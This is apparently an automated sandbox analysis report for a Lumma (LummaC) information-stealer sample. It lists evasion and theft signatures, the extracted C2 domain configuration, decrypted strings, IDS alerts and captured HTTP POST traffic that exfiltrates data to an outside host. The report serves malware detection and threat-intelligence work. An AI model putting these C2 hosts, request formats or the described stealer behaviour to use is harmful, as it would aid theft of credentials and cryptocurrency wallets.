Edit tour

Windows Analysis Report
XYQ1pqHNiT.exe

Overview

General Information

Sample name:	XYQ1pqHNiT.exe renamed because original name is a hash value
Original sample name:	1b99c467986cf6d65d3c4d3ed83b0479.exe
Analysis ID:	1581626
MD5:	1b99c467986cf6d65d3c4d3ed83b0479
SHA1:	701c4dc0099a78085e39599dca83dc3941f43eb7
SHA256:	d6cb7d9676cda25adb0dbfef2bc3467cd0c7ccdf8bf955688f7e2dddbc31a2f9
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

XYQ1pqHNiT.exe (PID: 3732 cmdline: "C:\Users\user\Desktop\XYQ1pqHNiT.exe" MD5: 1B99C467986CF6D65D3C4D3ED83B0479)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["scentniej.buzz", "rebuildeso.buzz", "inherineau.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "mindhandru.buzz", "prisonyfork.buzz", "screwamusresz.buzz", "appliacnesot.buzz"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: XYQ1pqHNiT.exe PID: 3732	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: XYQ1pqHNiT.exe PID: 3732	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: XYQ1pqHNiT.exe PID: 3732	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:04:01.684890+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	23.55.153.106	443	TCP
2024-12-28T10:04:04.256539+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	172.67.157.254	443	TCP
2024-12-28T10:04:06.219985+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-28T10:04:09.018831+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	172.67.157.254	443	TCP
2024-12-28T10:04:11.702527+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	172.67.157.254	443	TCP
2024-12-28T10:04:15.021959+0100	2028371	3	Unknown Traffic	192.168.2.7	49716	172.67.157.254	443	TCP
2024-12-28T10:04:18.322260+0100	2028371	3	Unknown Traffic	192.168.2.7	49725	172.67.157.254	443	TCP
2024-12-28T10:04:21.408876+0100	2028371	3	Unknown Traffic	192.168.2.7	49732	172.67.157.254	443	TCP
2024-12-28T10:04:26.560187+0100	2028371	3	Unknown Traffic	192.168.2.7	49748	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:04:04.928876+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49701	172.67.157.254	443	TCP
2024-12-28T10:04:07.524910+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49702	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:04:04.928876+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49701	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:04:07.524910+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49702	172.67.157.254	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:59.615377+0100	2058572	1	Domain Observed Used for C2 Detected	192.168.2.7	60816	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:59.759044+0100	2058576	1	Domain Observed Used for C2 Detected	192.168.2.7	53628	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:59.904328+0100	2058578	1	Domain Observed Used for C2 Detected	192.168.2.7	54860	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:59.327070+0100	2058580	1	Domain Observed Used for C2 Detected	192.168.2.7	52788	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:58.754487+0100	2058582	1	Domain Observed Used for C2 Detected	192.168.2.7	56451	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:58.898931+0100	2058584	1	Domain Observed Used for C2 Detected	192.168.2.7	53955	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:59.041972+0100	2058586	1	Domain Observed Used for C2 Detected	192.168.2.7	62631	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:59.184258+0100	2058588	1	Domain Observed Used for C2 Detected	192.168.2.7	61136	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:59.469922+0100	2058590	1	Domain Observed Used for C2 Detected	192.168.2.7	52836	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:04:13.221949+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49705	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:04:02.661548+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: XYQ1pqHNiT.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/sA	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/mA	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/q	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/BH	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/c	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/er	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/ms	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/api#%	Avira URL Cloud: Label: malware

Found malware configuration

Source: XYQ1pqHNiT.exe.3732.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["scentniej.buzz", "rebuildeso.buzz", "inherineau.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "mindhandru.buzz", "prisonyfork.buzz", "screwamusresz.buzz", "appliacnesot.buzz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: XYQ1pqHNiT.exe	Virustotal: Detection: 56%			Perma Link
Source: XYQ1pqHNiT.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: XYQ1pqHNiT.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1533702039.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: PsFKDg--pablo

Source: XYQ1pqHNiT.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49732 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058576 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz) : 192.168.2.7:53628 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058580 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz) : 192.168.2.7:52788 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058578 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz) : 192.168.2.7:54860 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058572 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz) : 192.168.2.7:60816 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058584 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz) : 192.168.2.7:53955 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058588 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz) : 192.168.2.7:61136 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058590 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz) : 192.168.2.7:52836 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058582 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz) : 192.168.2.7:56451 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058586 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz) : 192.168.2.7:62631 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49700 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49701 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49705 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49732 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49725 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49748 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49716 -> 172.67.157.254:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=B2UI485IFGJDWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12814Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HREJKSKTPR8GGCCUGVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15076Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KIDT7BGRLL2NKIJQMZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20401Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PMW76VVZGW6KKP1YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1214Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DBLZYT23OQLNZY47User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552601Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; P3Z: equals www.youtube.com (Youtube)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: : data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com equals www.youtube.com (Youtube)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com equals www.youtube.com (Youtube)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; 